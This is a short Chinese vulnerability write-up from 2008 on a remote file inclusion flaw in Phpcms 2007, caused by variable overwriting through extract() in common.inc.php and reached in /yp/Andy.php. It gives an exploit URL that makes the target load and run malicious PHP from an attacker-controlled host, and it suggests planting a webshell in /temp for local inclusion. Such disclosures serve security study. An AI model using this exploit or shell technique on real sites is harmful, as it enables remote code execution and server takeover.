Phpcms 2007 远程文件包含漏洞
wjxd726 · 2008-08-28 13:10 · 70808 次点击
该cms的核心配置文件/include/common.inc.php有缺陷
--------------------------------------------
//23行开始
@extract($_POST,EXTR_OVERWRITE);
@extract($_GET,EXTR_OVERWRITE);
unset($_POST,$_GET);
------------------------------------------------
这里extract函数会导致变量覆盖,可能引发一系列的问题
我们看/yp/Andy.php,这个文件名字是挺吓人的,还带Andy。但是注册个企业用户就可以访问该页面了,我们看部分代码
------------------------------------------------
//从头开始看
$rootdir=str_replace("\\",'/',dirname(__FILE__));
require$rootdir.'/include/common.inc.php';//通过extract可以覆盖$rootdir为任意值
requirePHPCMS_ROOT.'/languages/'.$CONFIG.'/yp_Andy.lang.php';
if(!$_username)showmessage($LANG,$PHPCMS.'member/login.php?forward='.$PHP_URL);
require$rootdir.'/web/Andy/include/common.inc.php';//触发远程文件包含
------------------------------------------------
利用的方式可以先在你的网站site.com上放置/web/Andy/include/common.inc.php这样的目录和文件,当然common.inc.php就是你的恶意代码,然后注册个用户访问网站并提交
http://target.com/yp/Andy.php?Rootdir=http://site.com/即可。
最后多说一句,php5默认不开启远程文件功能,如果想包含本地文件又要被gpc限制,所以看上去这个漏洞挺鸡肋的。不过qiuren同学提供了一个不错的方法,可以旁注一个shell写/web/Andy/include/common.inc.php到/temp目录然后包含之